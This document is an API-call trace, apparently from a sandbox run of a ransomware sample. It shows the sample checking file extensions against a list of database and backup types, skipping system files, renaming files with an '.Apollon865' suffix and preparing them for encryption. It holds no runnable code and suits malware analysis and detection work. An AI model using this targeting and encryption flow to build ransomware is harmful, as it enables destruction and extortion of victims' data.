	[0087.647] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0087.647] lstrlenW (lpString="4dl") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0087.647] lstrlenW (lpString="^^^") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0087.647] lstrlenW (lpString="abs") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0087.647] lstrlenW (lpString="abx") returned 3
	[0087.647] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0087.647] lstrlenW (lpString="accdb") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0087.648] lstrlenW (lpString="accdc") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0087.648] lstrlenW (lpString="accde") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0087.648] lstrlenW (lpString="accdr") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0087.648] lstrlenW (lpString="accdt") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0087.648] lstrlenW (lpString="accdw") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0087.648] lstrlenW (lpString="accft") returned 5
	[0087.648] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0087.648] lstrlenW (lpString="adb") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.648] lstrlenW (lpString="adb") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.648] lstrlenW (lpString="ade") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0087.648] lstrlenW (lpString="adf") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0087.648] lstrlenW (lpString="adn") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0087.648] lstrlenW (lpString="adp") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0087.648] lstrlenW (lpString="alf") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0087.648] lstrlenW (lpString="ask") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0087.648] lstrlenW (lpString="btr") returned 3
	[0087.648] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0087.648] lstrlenW (lpString="cat") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0087.649] lstrlenW (lpString="cdb") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0087.649] lstrlenW (lpString="ckp") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0087.649] lstrlenW (lpString="cma") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0087.649] lstrlenW (lpString="cpd") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0087.649] lstrlenW (lpString="dacpac") returned 6
	[0087.649] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0087.649] lstrlenW (lpString="dad") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0087.649] lstrlenW (lpString="dadiagrams") returned 10
	[0087.649] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0087.649] lstrlenW (lpString="daschema") returned 8
	[0087.649] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0087.649] lstrlenW (lpString="db-journal") returned 10
	[0087.649] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0087.649] lstrlenW (lpString="db-shm") returned 6
	[0087.649] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0087.649] lstrlenW (lpString="db-wal") returned 6
	[0087.649] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0087.649] lstrlenW (lpString="dbc") returned 3
	[0087.649] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0087.649] lstrlenW (lpString="dbs") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0087.650] lstrlenW (lpString="dbt") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0087.650] lstrlenW (lpString="dbv") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0087.650] lstrlenW (lpString="dbx") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0087.650] lstrlenW (lpString="dcb") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0087.650] lstrlenW (lpString="dct") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0087.650] lstrlenW (lpString="dcx") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0087.650] lstrlenW (lpString="ddl") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0087.650] lstrlenW (lpString="dlis") returned 4
	[0087.650] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0087.650] lstrlenW (lpString="dp1") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0087.650] lstrlenW (lpString="dqy") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0087.650] lstrlenW (lpString="dsk") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0087.650] lstrlenW (lpString="dsn") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0087.650] lstrlenW (lpString="dtsx") returned 4
	[0087.650] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0087.650] lstrlenW (lpString="dxl") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0087.650] lstrlenW (lpString="eco") returned 3
	[0087.650] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0087.651] lstrlenW (lpString="ecx") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0087.651] lstrlenW (lpString="edb") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0087.651] lstrlenW (lpString="epim") returned 4
	[0087.651] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0087.651] lstrlenW (lpString="fcd") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0087.651] lstrlenW (lpString="fdb") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0087.651] lstrlenW (lpString="fic") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0087.651] lstrlenW (lpString="flexolibrary") returned 12
	[0087.651] lstrlenW (lpString="fm5") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0087.651] lstrlenW (lpString="fmp") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0087.651] lstrlenW (lpString="fmp12") returned 5
	[0087.651] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0087.651] lstrlenW (lpString="fmpsl") returned 5
	[0087.651] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0087.651] lstrlenW (lpString="fol") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0087.651] lstrlenW (lpString="fp3") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0087.651] lstrlenW (lpString="fp4") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0087.651] lstrlenW (lpString="fp5") returned 3
	[0087.651] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0087.652] lstrlenW (lpString="fp7") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0087.652] lstrlenW (lpString="fpt") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0087.652] lstrlenW (lpString="frm") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0087.652] lstrlenW (lpString="gdb") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.652] lstrlenW (lpString="gdb") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.652] lstrlenW (lpString="grdb") returned 4
	[0087.652] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0087.652] lstrlenW (lpString="gwi") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0087.652] lstrlenW (lpString="hdb") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0087.652] lstrlenW (lpString="his") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0087.652] lstrlenW (lpString="ib") returned 2
	[0087.652] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0087.652] lstrlenW (lpString="idb") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0087.652] lstrlenW (lpString="ihx") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0087.652] lstrlenW (lpString="itdb") returned 4
	[0087.652] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0087.652] lstrlenW (lpString="itw") returned 3
	[0087.652] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0087.653] lstrlenW (lpString="jet") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0087.653] lstrlenW (lpString="jtx") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0087.653] lstrlenW (lpString="kdb") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0087.653] lstrlenW (lpString="kexi") returned 4
	[0087.653] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0087.653] lstrlenW (lpString="kexic") returned 5
	[0087.653] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0087.653] lstrlenW (lpString="kexis") returned 5
	[0087.653] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0087.653] lstrlenW (lpString="lgc") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0087.653] lstrlenW (lpString="lwx") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0087.653] lstrlenW (lpString="maf") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0087.653] lstrlenW (lpString="maq") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0087.653] lstrlenW (lpString="mar") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0087.653] lstrlenW (lpString="marshal") returned 7
	[0087.653] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0087.653] lstrlenW (lpString="mas") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0087.653] lstrlenW (lpString="mav") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0087.653] lstrlenW (lpString="maw") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0087.653] lstrlenW (lpString="mdbhtml") returned 7
	[0087.653] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0087.653] lstrlenW (lpString="mdn") returned 3
	[0087.653] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0087.654] lstrlenW (lpString="mdt") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0087.654] lstrlenW (lpString="mfd") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0087.654] lstrlenW (lpString="mpd") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0087.654] lstrlenW (lpString="mrg") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0087.654] lstrlenW (lpString="mud") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0087.654] lstrlenW (lpString="mwb") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0087.654] lstrlenW (lpString="myd") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0087.654] lstrlenW (lpString="ndf") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0087.654] lstrlenW (lpString="nnt") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0087.654] lstrlenW (lpString="nrmlib") returned 6
	[0087.654] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0087.654] lstrlenW (lpString="ns2") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0087.654] lstrlenW (lpString="ns3") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0087.654] lstrlenW (lpString="ns4") returned 3
	[0087.654] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0087.654] lstrlenW (lpString="nsf") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0087.655] lstrlenW (lpString="nv") returned 2
	[0087.655] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0087.655] lstrlenW (lpString="nv2") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0087.655] lstrlenW (lpString="nwdb") returned 4
	[0087.655] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0087.655] lstrlenW (lpString="nyf") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0087.655] lstrlenW (lpString="odb") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.655] lstrlenW (lpString="odb") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0087.655] lstrlenW (lpString="oqy") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0087.655] lstrlenW (lpString="ora") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0087.655] lstrlenW (lpString="orx") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0087.655] lstrlenW (lpString="owc") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0087.655] lstrlenW (lpString="p96") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0087.655] lstrlenW (lpString="p97") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0087.655] lstrlenW (lpString="pan") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0087.655] lstrlenW (lpString="pdb") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0087.655] lstrlenW (lpString="pdm") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0087.655] lstrlenW (lpString="pnz") returned 3
	[0087.655] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0087.656] lstrlenW (lpString="qry") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0087.656] lstrlenW (lpString="qvd") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0087.656] lstrlenW (lpString="rbf") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0087.656] lstrlenW (lpString="rctd") returned 4
	[0087.656] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0087.656] lstrlenW (lpString="rod") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0087.656] lstrlenW (lpString="rodx") returned 4
	[0087.656] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0087.656] lstrlenW (lpString="rpd") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0087.656] lstrlenW (lpString="rsd") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0087.656] lstrlenW (lpString="sas7bdat") returned 8
	[0087.656] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0087.656] lstrlenW (lpString="sbf") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0087.656] lstrlenW (lpString="scx") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0087.656] lstrlenW (lpString="sdb") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0087.656] lstrlenW (lpString="sdc") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0087.656] lstrlenW (lpString="sdf") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0087.656] lstrlenW (lpString="sis") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0087.656] lstrlenW (lpString="spq") returned 3
	[0087.656] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0087.656] lstrlenW (lpString="te") returned 2
	[0087.656] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0087.656] lstrlenW (lpString="teacher") returned 7
	[0087.657] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0087.657] lstrlenW (lpString="tmd") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0087.657] lstrlenW (lpString="tps") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0087.657] lstrlenW (lpString="trc") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.657] lstrlenW (lpString="trc") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0087.657] lstrlenW (lpString="trm") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0087.657] lstrlenW (lpString="udb") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0087.657] lstrlenW (lpString="udl") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0087.657] lstrlenW (lpString="usr") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0087.657] lstrlenW (lpString="v12") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0087.657] lstrlenW (lpString="vis") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0087.657] lstrlenW (lpString="vpd") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0087.657] lstrlenW (lpString="vvv") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0087.657] lstrlenW (lpString="wdb") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0087.657] lstrlenW (lpString="wmdb") returned 4
	[0087.657] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0087.657] lstrlenW (lpString="wrk") returned 3
	[0087.657] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0087.657] lstrlenW (lpString="xdb") returned 3
	[0087.658] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0087.658] lstrlenW (lpString="xld") returned 3
	[0087.658] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0087.658] lstrlenW (lpString="xmlff") returned 5
	[0087.658] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0087.658] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Apollon865") returned 58
	[0087.658] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0087.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.660] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0087.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.660] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.661] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.661] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.661] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x15c
	[0087.662] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0087.662] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.663] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.663] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.664] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.664] CloseHandle (hObject=0x15c) returned 1
	[0087.664] CloseHandle (hObject=0x9c) returned 1
	[0087.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.665] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x354e8a10, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0x9475cae0, ftLastAccessTime.dwHighDateTime=0x1d4d06c, ftLastWriteTime.dwLowDateTime=0x9475cae0, ftLastWriteTime.dwHighDateTime=0x1d4d06c, nFileSizeHigh=0x0, nFileSizeLow=0x37bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H71xA.mp3", cAlternateFileName="")) returned 1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2=".") returned 1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="..") returned 1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="windows") returned -1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="bootmgr") returned 1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="temp") returned -1
	[0087.665] lstrcmpiW (lpString1="H71xA.mp3", lpString2="pagefile.sys") returned -1
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2="boot") returned 1
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2="ids.txt") returned -1
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2="ntuser.dat") returned -1
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2="perflogs") returned -1
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2="MSBuild") returned -1
	[0087.666] lstrlenW (lpString="H71xA.mp3") returned 9
	[0087.666] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned 47
	[0087.666] lstrcpyW (in: lpString1=0x119e650, lpString2="H71xA.mp3" | out: lpString1="H71xA.mp3") returned="H71xA.mp3"
	[0087.666] lstrlenW (lpString="H71xA.mp3") returned 9
	[0087.666] lstrlenW (lpString="Apollon865") returned 10
	[0087.666] lstrlenW (lpString=".dll") returned 4
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2=".dll") returned 1
	[0087.666] lstrlenW (lpString=".lnk") returned 4
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2=".lnk") returned 1
	[0087.666] lstrlenW (lpString=".ini") returned 4
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2=".ini") returned 1
	[0087.666] lstrlenW (lpString=".sys") returned 4
	[0087.666] lstrcmpiW (lpString1="H71xA.mp3", lpString2=".sys") returned 1
	[0087.666] lstrlenW (lpString="H71xA.mp3") returned 9
	[0087.666] lstrlenW (lpString="bak") returned 3
	[0087.666] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.666] lstrlenW (lpString="ba_") returned 3
	[0087.666] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.666] lstrlenW (lpString="dbb") returned 3
	[0087.666] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.666] lstrlenW (lpString="vmdk") returned 4
	[0087.666] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.667] lstrlenW (lpString="rar") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.667] lstrlenW (lpString="zip") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.667] lstrlenW (lpString="tgz") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.667] lstrlenW (lpString="vbox") returned 4
	[0087.667] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.667] lstrlenW (lpString="vdi") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.667] lstrlenW (lpString="vhd") returned 3
	[0087.667] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.667] lstrlenW (lpString="vhdx") returned 4
	[0087.667] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.667] lstrlenW (lpString="avhd") returned 4
	[0087.667] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
